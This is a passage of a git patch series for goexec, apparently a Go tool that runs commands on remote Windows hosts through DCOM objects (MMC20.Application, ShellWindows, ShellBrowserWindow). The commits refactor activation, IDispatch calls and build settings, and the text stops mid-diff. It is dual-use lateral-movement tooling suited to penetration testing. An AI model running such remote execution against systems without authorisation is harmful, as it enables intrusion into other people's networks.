From e68c72d6226a7052bdf3b3c006a29f0bd971392f Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Mon, 22 Sep 2025 16:10:19 -0500 Subject: [PATCH 01/34] Update DCOM utils --- pkg/goexec/dcom/util.go | 32 +++++++++++++++++++++++++++----- 1 file changed, 27 insertions(+), 5 deletions(-) diff --git a/pkg/goexec/dcom/util.go b/pkg/goexec/dcom/util.go index b19e841..516dd89 100644 --- a/pkg/goexec/dcom/util.go +++ b/pkg/goexec/dcom/util.go @@ -3,28 +3,50 @@ package dcomexec import ( "context" "fmt" + "strings" + "github.com/oiweiwei/go-msrpc/dcerpc" "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/iobjectexporter/v0" "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0" - "strings" _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) -func callComMethod(ctx context.Context, dc idispatch.DispatchClient, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) { +// getCOMVersion uses IObjectExporter.ServerAlive2() to determine the COM version of the server. +func getCOMVersion(ctx context.Context, cc dcerpc.Conn) (ver *dcom.COMVersion, err error) { + oe, err := iobjectexporter.NewObjectExporterClient(ctx, cc) + if err != nil { + return nil, err + } + srv, err := oe.ServerAlive2(ctx, &iobjectexporter.ServerAlive2Request{}) + if err != nil { + return nil, err + } + return srv.COMVersion, nil +} +// callComMethod calls a COM method on a remote object using the IDispatch interface. +// +// The method is specified as a dot-separated string, e.g. "ShellWindows.Item" to call the Item method on the ShellWindows object. +// +// The method arguments are passed as *oaut.Variant. +// +// The method returns an *idispatch.InvokeResponse, which contains the result of the method call. +// +// The method will automatically follow the IDispatch interface to get the object specified in the method name, e.g. "ShellWindows.Item" will +// automatically call "ShellWindows.Item.QueryInterface" to get the IDispatch interface of the object, then call "Item.Invoke" to call the method. +func callComMethod(ctx context.Context, dc idispatch.DispatchClient, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) { parts := strings.Split(method, ".") for i, obj := range parts { - var opts []dcerpc.CallOption if id != nil { opts = append(opts, dcom.WithIPID(id)) } - gr, err := dc.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{ This: ORPCThis, IID: &dcom.IID{}, @@ -48,7 +70,6 @@ func callComMethod(ctx context.Context, dc idispatch.DispatchClient, id *dcom.IP DispatchIDMember: gr.DispatchID[0], } - if i >= len(parts)-1 { irq.Flags = 1 irq.DispatchParams = &oaut.DispatchParams{ArgsCount: uint32(len(args)), Args: args} @@ -70,6 +91,7 @@ func callComMethod(ctx context.Context, dc idispatch.DispatchClient, id *dcom.IP return } +// stringToVariant converts a string to a *oaut.Variant. func stringToVariant(s string) *oaut.Variant { return &oaut.Variant{ Size: 5, From 8588e6dc5d41612b811759cfcd510bb8bfcfca53 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Mon, 22 Sep 2025 17:10:19 -0500 Subject: [PATCH 02/34] +normalizeStringBindings function --- pkg/goexec/dcom/util.go | 173 +++++++++++++++++++++------------------- 1 file changed, 91 insertions(+), 82 deletions(-) diff --git a/pkg/goexec/dcom/util.go b/pkg/goexec/dcom/util.go index 516dd89..c461822 100644 --- a/pkg/goexec/dcom/util.go +++ b/pkg/goexec/dcom/util.go @@ -1,31 +1,40 @@ package dcomexec import ( - "context" - "fmt" - "strings" - - "github.com/oiweiwei/go-msrpc/dcerpc" - "github.com/oiweiwei/go-msrpc/msrpc/dcom" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/iobjectexporter/v0" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0" - - _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" - _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" + "context" + "fmt" + "strings" + + "github.com/oiweiwei/go-msrpc/dcerpc" + "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/iobjectexporter/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) // getCOMVersion uses IObjectExporter.ServerAlive2() to determine the COM version of the server. func getCOMVersion(ctx context.Context, cc dcerpc.Conn) (ver *dcom.COMVersion, err error) { - oe, err := iobjectexporter.NewObjectExporterClient(ctx, cc) - if err != nil { - return nil, err - } - srv, err := oe.ServerAlive2(ctx, &iobjectexporter.ServerAlive2Request{}) - if err != nil { - return nil, err - } - return srv.COMVersion, nil + oe, err := iobjectexporter.NewObjectExporterClient(ctx, cc) + if err != nil { + return nil, err + } + srv, err := oe.ServerAlive2(ctx, &iobjectexporter.ServerAlive2Request{}) + if err != nil { + return nil, err + } + return srv.COMVersion, nil +} + +// normalizeStringBindings removes the address/hostname from string bindings to prevent name resolution issues. +func normalizeStringBindings(bindings []*dcom.StringBinding) (opts []dcerpc.Option) { + for _, b := range bindings { + b.NetworkAddr = "" + opts = append(opts, dcerpc.WithEndpoint(b.String())) + } + return } // callComMethod calls a COM method on a remote object using the IDispatch interface. @@ -39,69 +48,69 @@ func getCOMVersion(ctx context.Context, cc dcerpc.Conn) (ver *dcom.COMVersion, e // The method will automatically follow the IDispatch interface to get the object specified in the method name, e.g. "ShellWindows.Item" will // automatically call "ShellWindows.Item.QueryInterface" to get the IDispatch interface of the object, then call "Item.Invoke" to call the method. func callComMethod(ctx context.Context, dc idispatch.DispatchClient, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) { - parts := strings.Split(method, ".") - - for i, obj := range parts { - var opts []dcerpc.CallOption - - if id != nil { - opts = append(opts, dcom.WithIPID(id)) - } - gr, err := dc.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{ - This: ORPCThis, - IID: &dcom.IID{}, - LocaleID: LcEnglishUs, - - Names: []string{obj + "\x00"}, - }, opts...) - - if err != nil { - return nil, fmt.Errorf("get dispatch ID of name %q: %w", obj, err) - } - - if len(gr.DispatchID) < 1 { - return nil, fmt.Errorf("dispatch ID of name %q not found", obj) - } - - irq := &idispatch.InvokeRequest{ - This: ORPCThis, - IID: &dcom.IID{}, - LocaleID: LcEnglishUs, - - DispatchIDMember: gr.DispatchID[0], - } - if i >= len(parts)-1 { - irq.Flags = 1 - irq.DispatchParams = &oaut.DispatchParams{ArgsCount: uint32(len(args)), Args: args} - return dc.Invoke(ctx, irq, opts...) - } - irq.Flags = 2 - - ir, err = dc.Invoke(ctx, irq, opts...) - if err != nil { - return nil, fmt.Errorf("get properties of object %q: %w", obj, err) - } - - di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch) - if !ok { - return nil, fmt.Errorf("invalid dispatch object for %q", obj) - } - id = di.InterfacePointer().GetStandardObjectReference().Std.IPID - } - return + parts := strings.Split(method, ".") + + for i, obj := range parts { + var opts []dcerpc.CallOption + + if id != nil { + opts = append(opts, dcom.WithIPID(id)) + } + gr, err := dc.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{ + This: ORPCThis, + IID: &dcom.IID{}, + LocaleID: LcEnglishUs, + + Names: []string{obj + "\x00"}, + }, opts...) + + if err != nil { + return nil, fmt.Errorf("get dispatch ID of name %q: %w", obj, err) + } + + if len(gr.DispatchID) < 1 { + return nil, fmt.Errorf("dispatch ID of name %q not found", obj) + } + + irq := &idispatch.InvokeRequest{ + This: ORPCThis, + IID: &dcom.IID{}, + LocaleID: LcEnglishUs, + + DispatchIDMember: gr.DispatchID[0], + } + if i >= len(parts)-1 { + irq.Flags = 1 + irq.DispatchParams = &oaut.DispatchParams{ArgsCount: uint32(len(args)), Args: args} + return dc.Invoke(ctx, irq, opts...) + } + irq.Flags = 2 + + ir, err = dc.Invoke(ctx, irq, opts...) + if err != nil { + return nil, fmt.Errorf("get properties of object %q: %w", obj, err) + } + + di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch) + if !ok { + return nil, fmt.Errorf("invalid dispatch object for %q", obj) + } + id = di.InterfacePointer().GetStandardObjectReference().Std.IPID + } + return } // stringToVariant converts a string to a *oaut.Variant. func stringToVariant(s string) *oaut.Variant { - return &oaut.Variant{ - Size: 5, - VT: 8, - VarUnion: &oaut.Variant_VarUnion{ - Value: &oaut.Variant_VarUnion_BSTR{ - BSTR: &oaut.String{ - Data: s, - }, - }, - }, - } + return &oaut.Variant{ + Size: 5, + VT: 8, + VarUnion: &oaut.Variant_VarUnion{ + Value: &oaut.Variant_VarUnion_BSTR{ + BSTR: &oaut.String{ + Data: s, + }, + }, + }, + } } From 4f57709658664844b8275f35e28e093ff778db38 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Mon, 22 Sep 2025 17:11:22 -0500 Subject: [PATCH 03/34] +funcs: remoteCreateInstance, remoteActivation --- pkg/goexec/dcom/activation.go | 101 ++++++++++++++++++++++++++++++++++ 1 file changed, 101 insertions(+) create mode 100644 pkg/goexec/dcom/activation.go diff --git a/pkg/goexec/dcom/activation.go b/pkg/goexec/dcom/activation.go new file mode 100644 index 0000000..140c9cd --- /dev/null +++ b/pkg/goexec/dcom/activation.go @@ -0,0 +1,101 @@ +package dcomexec + +import ( + "context" + "fmt" + + googleUUID "github.com/google/uuid" + "github.com/oiweiwei/go-msrpc/dcerpc" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/iactivation/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dtyp" + "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" +) + +// remoteCreateInstance creates a new instance of a COM class on a remote machine using RemoteCreateInstance (opnum 4). +func remoteCreateInstance(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iids []*dcom.IID) (opts []dcerpc.Option, err error) { + if cls == nil { + return nil, fmt.Errorf("class ID is nil") + } + ap := &dcom.ActivationProperties{ + DestinationContext: 2, + Properties: []dcom.ActivationProperty{ + &dcom.InstantiationInfoData{ + ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(cls)), + IID: iids, + ClientCOMVersion: ComVersion, + }, + &dcom.ActivationContextInfoData{}, + &dcom.LocationInfoData{}, + &dcom.SCMRequestInfoData{ + RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{ + RequestedProtocolSequences: []uint16{7, 15}, // ncacn_ip_tcp, ncacn_np + }, + }, + }, + } + apin, err := ap.ActivationPropertiesIn() + if err != nil { + return nil, err + } + act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, conn) + if err != nil { + return nil, err + } + cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{ + ORPCThis: &dcom.ORPCThis{ + Version: ComVersion, + CID: (*dcom.CID)(dtyp.GUIDFromUUID(uuid.MustParse(googleUUID.NewString()))), // Random CID + }, + ActPropertiesIn: apin, + }) + if err != nil { + return nil, err + } + apout := new(dcom.ActivationProperties) + if err = apout.Parse(cr.ActPropertiesOut); err != nil { + return nil, err + } + if si := apout.SCMReplyInfoData(); si != nil { + opts = append(opts, normalizeStringBindings(si.RemoteReply.OXIDBindings.GetStringBindings())...) + } else { + return nil, fmt.Errorf("remote create instance response: SCMReplyInfoData is nil") + } + if pi := apout.PropertiesOutInfo(); pi != nil && pi.InterfaceData != nil && len(pi.InterfaceData) > 0 { + opts = append(opts, dcom.WithIPID(pi.InterfaceData[0].GetStandardObjectReference().Std.IPID)) + } else { + return nil, fmt.Errorf("remote create instance response: PropertiesOutInfo is nil") + } + return opts, err +} + +// remoteActivation activates a COM class on a remote machine using RemoteActivation (opnum 0). +func remoteActivation(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iids []*dcom.IID) (opts []dcerpc.Option, err error) { + if cls == nil { + return nil, fmt.Errorf("class ID is nil") + } + ac, err := iactivation.NewActivationClient(ctx, conn) + if err != nil { + return nil, fmt.Errorf("init activation client: %w", err) + } + cv, err := getCOMVersion(ctx, conn) + if err != nil { + return nil, fmt.Errorf("get COM version: %w", err) + } + act, err := ac.RemoteActivation(ctx, &iactivation.RemoteActivationRequest{ + ORPCThis: &dcom.ORPCThis{Version: cv}, + ClassID: dtyp.GUIDFromUUID(cls), + IIDs: iids, + RequestedProtocolSequences: []uint16{7, 15}, + }) + if err != nil { + return nil, fmt.Errorf("remote activation: %w", err) + } + if act.HResult != 0 { + return nil, hresult.FromCode(uint32(act.HResult)) + } + return append(normalizeStringBindings(act.OXIDBindings.GetStringBindings()), + dcom.WithIPID(act.InterfaceData[0].GetStandardObjectReference().Std.IPID)), nil +} From e6d918b2b33184fb469fe096c4d9db8cbfcc5054 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Mon, 22 Sep 2025 17:15:09 -0500 Subject: [PATCH 04/34] fix indent style in activation.go --- pkg/goexec/dcom/activation.go | 176 +++++++++++++++++----------------- 1 file changed, 88 insertions(+), 88 deletions(-) diff --git a/pkg/goexec/dcom/activation.go b/pkg/goexec/dcom/activation.go index 140c9cd..f70c7a5 100644 --- a/pkg/goexec/dcom/activation.go +++ b/pkg/goexec/dcom/activation.go @@ -1,101 +1,101 @@ package dcomexec import ( - "context" - "fmt" + "context" + "fmt" - googleUUID "github.com/google/uuid" - "github.com/oiweiwei/go-msrpc/dcerpc" - "github.com/oiweiwei/go-msrpc/midl/uuid" - "github.com/oiweiwei/go-msrpc/msrpc/dcom" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/iactivation/v0" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0" - "github.com/oiweiwei/go-msrpc/msrpc/dtyp" - "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + googleUUID "github.com/google/uuid" + "github.com/oiweiwei/go-msrpc/dcerpc" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/iactivation/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dtyp" + "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" ) // remoteCreateInstance creates a new instance of a COM class on a remote machine using RemoteCreateInstance (opnum 4). func remoteCreateInstance(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iids []*dcom.IID) (opts []dcerpc.Option, err error) { - if cls == nil { - return nil, fmt.Errorf("class ID is nil") - } - ap := &dcom.ActivationProperties{ - DestinationContext: 2, - Properties: []dcom.ActivationProperty{ - &dcom.InstantiationInfoData{ - ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(cls)), - IID: iids, - ClientCOMVersion: ComVersion, - }, - &dcom.ActivationContextInfoData{}, - &dcom.LocationInfoData{}, - &dcom.SCMRequestInfoData{ - RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{ - RequestedProtocolSequences: []uint16{7, 15}, // ncacn_ip_tcp, ncacn_np - }, - }, - }, - } - apin, err := ap.ActivationPropertiesIn() - if err != nil { - return nil, err - } - act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, conn) - if err != nil { - return nil, err - } - cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{ - ORPCThis: &dcom.ORPCThis{ - Version: ComVersion, - CID: (*dcom.CID)(dtyp.GUIDFromUUID(uuid.MustParse(googleUUID.NewString()))), // Random CID - }, - ActPropertiesIn: apin, - }) - if err != nil { - return nil, err - } - apout := new(dcom.ActivationProperties) - if err = apout.Parse(cr.ActPropertiesOut); err != nil { - return nil, err - } - if si := apout.SCMReplyInfoData(); si != nil { - opts = append(opts, normalizeStringBindings(si.RemoteReply.OXIDBindings.GetStringBindings())...) - } else { - return nil, fmt.Errorf("remote create instance response: SCMReplyInfoData is nil") - } - if pi := apout.PropertiesOutInfo(); pi != nil && pi.InterfaceData != nil && len(pi.InterfaceData) > 0 { - opts = append(opts, dcom.WithIPID(pi.InterfaceData[0].GetStandardObjectReference().Std.IPID)) - } else { - return nil, fmt.Errorf("remote create instance response: PropertiesOutInfo is nil") - } - return opts, err + if cls == nil { + return nil, fmt.Errorf("class ID is nil") + } + ap := &dcom.ActivationProperties{ + DestinationContext: 2, + Properties: []dcom.ActivationProperty{ + &dcom.InstantiationInfoData{ + ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(cls)), + IID: iids, + ClientCOMVersion: ComVersion, + }, + &dcom.ActivationContextInfoData{}, + &dcom.LocationInfoData{}, + &dcom.SCMRequestInfoData{ + RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{ + RequestedProtocolSequences: []uint16{7, 15}, // ncacn_ip_tcp, ncacn_np + }, + }, + }, + } + apin, err := ap.ActivationPropertiesIn() + if err != nil { + return nil, err + } + act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, conn) + if err != nil { + return nil, err + } + cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{ + ORPCThis: &dcom.ORPCThis{ + Version: ComVersion, + CID: (*dcom.CID)(dtyp.GUIDFromUUID(uuid.MustParse(googleUUID.NewString()))), // Random CID + }, + ActPropertiesIn: apin, + }) + if err != nil { + return nil, err + } + apout := new(dcom.ActivationProperties) + if err = apout.Parse(cr.ActPropertiesOut); err != nil { + return nil, err + } + if si := apout.SCMReplyInfoData(); si != nil { + opts = append(opts, normalizeStringBindings(si.RemoteReply.OXIDBindings.GetStringBindings())...) + } else { + return nil, fmt.Errorf("remote create instance response: SCMReplyInfoData is nil") + } + if pi := apout.PropertiesOutInfo(); pi != nil && pi.InterfaceData != nil && len(pi.InterfaceData) > 0 { + opts = append(opts, dcom.WithIPID(pi.InterfaceData[0].GetStandardObjectReference().Std.IPID)) + } else { + return nil, fmt.Errorf("remote create instance response: PropertiesOutInfo is nil") + } + return opts, err } // remoteActivation activates a COM class on a remote machine using RemoteActivation (opnum 0). func remoteActivation(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iids []*dcom.IID) (opts []dcerpc.Option, err error) { - if cls == nil { - return nil, fmt.Errorf("class ID is nil") - } - ac, err := iactivation.NewActivationClient(ctx, conn) - if err != nil { - return nil, fmt.Errorf("init activation client: %w", err) - } - cv, err := getCOMVersion(ctx, conn) - if err != nil { - return nil, fmt.Errorf("get COM version: %w", err) - } - act, err := ac.RemoteActivation(ctx, &iactivation.RemoteActivationRequest{ - ORPCThis: &dcom.ORPCThis{Version: cv}, - ClassID: dtyp.GUIDFromUUID(cls), - IIDs: iids, - RequestedProtocolSequences: []uint16{7, 15}, - }) - if err != nil { - return nil, fmt.Errorf("remote activation: %w", err) - } - if act.HResult != 0 { - return nil, hresult.FromCode(uint32(act.HResult)) - } - return append(normalizeStringBindings(act.OXIDBindings.GetStringBindings()), - dcom.WithIPID(act.InterfaceData[0].GetStandardObjectReference().Std.IPID)), nil + if cls == nil { + return nil, fmt.Errorf("class ID is nil") + } + ac, err := iactivation.NewActivationClient(ctx, conn) + if err != nil { + return nil, fmt.Errorf("init activation client: %w", err) + } + cv, err := getCOMVersion(ctx, conn) + if err != nil { + return nil, fmt.Errorf("get COM version: %w", err) + } + act, err := ac.RemoteActivation(ctx, &iactivation.RemoteActivationRequest{ + ORPCThis: &dcom.ORPCThis{Version: cv}, + ClassID: dtyp.GUIDFromUUID(cls), + IIDs: iids, + RequestedProtocolSequences: []uint16{7, 15}, + }) + if err != nil { + return nil, fmt.Errorf("remote activation: %w", err) + } + if act.HResult != 0 { + return nil, hresult.FromCode(uint32(act.HResult)) + } + return append(normalizeStringBindings(act.OXIDBindings.GetStringBindings()), + dcom.WithIPID(act.InterfaceData[0].GetStandardObjectReference().Std.IPID)), nil } From 4a6c0a146b78920ffc07785db2d0879e092d9c99 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Fri, 26 Sep 2025 09:10:33 -0500 Subject: [PATCH 05/34] goreleaser: +riscv64; +trimpath flag --- .goreleaser.yaml | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/.goreleaser.yaml b/.goreleaser.yaml index e8f5176..6fd7933 100644 --- a/.goreleaser.yaml +++ b/.goreleaser.yaml @@ -9,6 +9,8 @@ builds: - env: - CGO_ENABLED=0 ldflags: -s -w + flags: + - -trimpath goos: - darwin - windows @@ -16,10 +18,7 @@ builds: goarch: - amd64 - arm64 - - ignore: - - goos: windows - goarch: arm + - riscv64 #upx: # - enabled: true From fa290c8992df74d6048e5a1bc993ef664e52ac1d Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Fri, 26 Sep 2025 09:12:44 -0500 Subject: [PATCH 06/34] Dockerfile: add -trimpath --- Dockerfile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index c421382..d4cdac9 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,14 +1,14 @@ FROM golang:1.24-alpine AS goexec-builder LABEL builder="true" -WORKDIR /go/src/github.com/github.com/FalconOpsLLC/goexec +WORKDIR /go/src/github.com/FalconOpsLLC/goexec COPY . . ARG CGO_ENABLED=0 RUN go mod download -RUN go build -ldflags="-s -w" -o /go/bin/goexec +RUN go build -ldflags="-s -w" -trimpath -o /go/bin/goexec FROM scratch COPY --from="goexec-builder" /go/bin/goexec /goexec From 2e833c2df31163896d2c291830f2561435b1c256 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Fri, 26 Sep 2025 09:16:34 -0500 Subject: [PATCH 07/34] dcom: reorganize module --- cmd/dcom.go | 38 ++----- pkg/goexec/dcom/activation.go | 32 +++--- pkg/goexec/dcom/context.go | 61 +++++++++++ pkg/goexec/dcom/dcom.go | 34 ------ pkg/goexec/dcom/dispatch.go | 94 +++++++++++++++++ pkg/goexec/dcom/mmc.go | 40 +++---- pkg/goexec/dcom/module.go | 124 ++++------------------ pkg/goexec/dcom/shellbrowserwindow.go | 40 +++---- pkg/goexec/dcom/shellwindows.go | 52 ++++------ pkg/goexec/dcom/util.go | 144 ++++++++------------------ 10 files changed, 302 insertions(+), 357 deletions(-) create mode 100644 pkg/goexec/dcom/context.go delete mode 100644 pkg/goexec/dcom/dcom.go create mode 100644 pkg/goexec/dcom/dispatch.go diff --git a/cmd/dcom.go b/cmd/dcom.go index d1c4ffd..5def07d 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -69,10 +69,8 @@ func dcomShellWindowsCmdInit() { func dcomShellBrowserWindowCmdInit() { dcomShellBrowserWindowExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomShellBrowserWindowExecFlags.Flags) registerExecutionOutputFlags(dcomShellBrowserWindowExecFlags.Flags) - dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working `directory`") dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WindowState, "app-window", "0", "Application window state `ID`") @@ -89,9 +87,9 @@ func dcomShellBrowserWindowCmdInit() { } var ( - dcomMmc dcomexec.DcomMmc - dcomShellWindows dcomexec.DcomShellWindows - dcomShellBrowserWindow dcomexec.DcomShellBrowserWindow + dcomMmc = dcomexec.DcomMmc{} + dcomShellWindows = dcomexec.DcomShellWindows{} + dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{} dcomCmd = &cobra.Command{ Use: "dcom", @@ -108,19 +106,13 @@ var ( Long: `Description: The mmc method uses the exposed MMC20.Application object to call Document.ActiveView.ShellExec, and ultimately spawn a process on the remote host.`, - Args: args( - argsRpcClient("host", ""), + Args: args(argsRpcClient("host", ""), argsOutput("smb"), argsAcceptValues("window", &dcomMmc.WindowState, "Minimized", "Maximized", "Restored"), ), Run: func(cmd *cobra.Command, args []string) { dcomMmc.Client = &rpcClient - dcomMmc.IO = exec - dcomMmc.ClassID = dcomexec.Mmc20Uuid - - ctx := log.With(). - Str("module", dcomexec.ModuleName). - Str("method", dcomexec.MethodMmc). + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodMmc). Logger().WithContext(gssapi.NewSecurityContext(context.Background())) if err := goexec.ExecuteCleanMethod(ctx, &dcomMmc, &exec); err != nil { @@ -135,19 +127,13 @@ var ( Long: `Description: The shellwindows method uses the exposed ShellWindows DCOM object on older Windows installations to call Item().Document.Application.ShellExecute, and spawn the provided process.`, - Args: args( - argsRpcClient("host", ""), + Args: args(argsRpcClient("host", ""), argsOutput("smb"), argsAcceptValues("app-window", &dcomShellWindows.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), ), Run: func(cmd *cobra.Command, args []string) { dcomShellWindows.Client = &rpcClient - dcomShellWindows.IO = exec - dcomShellWindows.ClassID = dcomexec.ShellWindowsUuid - - ctx := log.With(). - Str("module", dcomexec.ModuleName). - Str("method", dcomexec.MethodShellWindows). + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellWindows). Logger().WithContext(gssapi.NewSecurityContext(context.Background())) if err := goexec.ExecuteCleanMethod(ctx, &dcomShellWindows, &exec); err != nil { @@ -162,19 +148,13 @@ var ( Long: `Description: The shellbrowserwindow method uses the exposed ShellBrowserWindow DCOM object on older Windows installations to call Document.Application.ShellExecute, and spawn the provided process.`, - Args: args( - argsRpcClient("host", ""), + Args: args(argsRpcClient("host", ""), argsOutput("smb"), argsAcceptValues("app-window", &dcomShellBrowserWindow.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"), ), Run: func(cmd *cobra.Command, args []string) { dcomShellBrowserWindow.Client = &rpcClient - dcomShellBrowserWindow.IO = exec - dcomShellBrowserWindow.ClassID = dcomexec.ShellBrowserWindowUuid - - ctx := log.With(). - Str("module", dcomexec.ModuleName). - Str("method", dcomexec.MethodShellBrowserWindow). + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellBrowserWindow). Logger().WithContext(gssapi.NewSecurityContext(context.Background())) if err := goexec.ExecuteCleanMethod(ctx, &dcomShellBrowserWindow, &exec); err != nil { diff --git a/pkg/goexec/dcom/activation.go b/pkg/goexec/dcom/activation.go index f70c7a5..0ffff4e 100644 --- a/pkg/goexec/dcom/activation.go +++ b/pkg/goexec/dcom/activation.go @@ -4,7 +4,6 @@ import ( "context" "fmt" - googleUUID "github.com/google/uuid" "github.com/oiweiwei/go-msrpc/dcerpc" "github.com/oiweiwei/go-msrpc/midl/uuid" "github.com/oiweiwei/go-msrpc/msrpc/dcom" @@ -12,10 +11,18 @@ import ( "github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0" "github.com/oiweiwei/go-msrpc/msrpc/dtyp" "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" +) + +const ( + OptRemoteCreateInstance = "RemoteCreateInstance" + OptRemoteActivation = "RemoteActivation" ) // remoteCreateInstance creates a new instance of a COM class on a remote machine using RemoteCreateInstance (opnum 4). -func remoteCreateInstance(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iids []*dcom.IID) (opts []dcerpc.Option, err error) { +func (m *Dcom) remoteCreateInstance(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) { if cls == nil { return nil, fmt.Errorf("class ID is nil") } @@ -24,8 +31,8 @@ func remoteCreateInstance(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, Properties: []dcom.ActivationProperty{ &dcom.InstantiationInfoData{ ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(cls)), - IID: iids, - ClientCOMVersion: ComVersion, + IID: []*dcom.IID{iid}, + ClientCOMVersion: m.comVersion, }, &dcom.ActivationContextInfoData{}, &dcom.LocationInfoData{}, @@ -45,10 +52,7 @@ func remoteCreateInstance(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, return nil, err } cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{ - ORPCThis: &dcom.ORPCThis{ - Version: ComVersion, - CID: (*dcom.CID)(dtyp.GUIDFromUUID(uuid.MustParse(googleUUID.NewString()))), // Random CID - }, + ORPCThis: &dcom.ORPCThis{Version: m.comVersion}, ActPropertiesIn: apin, }) if err != nil { @@ -72,7 +76,7 @@ func remoteCreateInstance(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, } // remoteActivation activates a COM class on a remote machine using RemoteActivation (opnum 0). -func remoteActivation(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iids []*dcom.IID) (opts []dcerpc.Option, err error) { +func (m *Dcom) remoteActivation(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) { if cls == nil { return nil, fmt.Errorf("class ID is nil") } @@ -80,15 +84,11 @@ func remoteActivation(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iid if err != nil { return nil, fmt.Errorf("init activation client: %w", err) } - cv, err := getCOMVersion(ctx, conn) - if err != nil { - return nil, fmt.Errorf("get COM version: %w", err) - } act, err := ac.RemoteActivation(ctx, 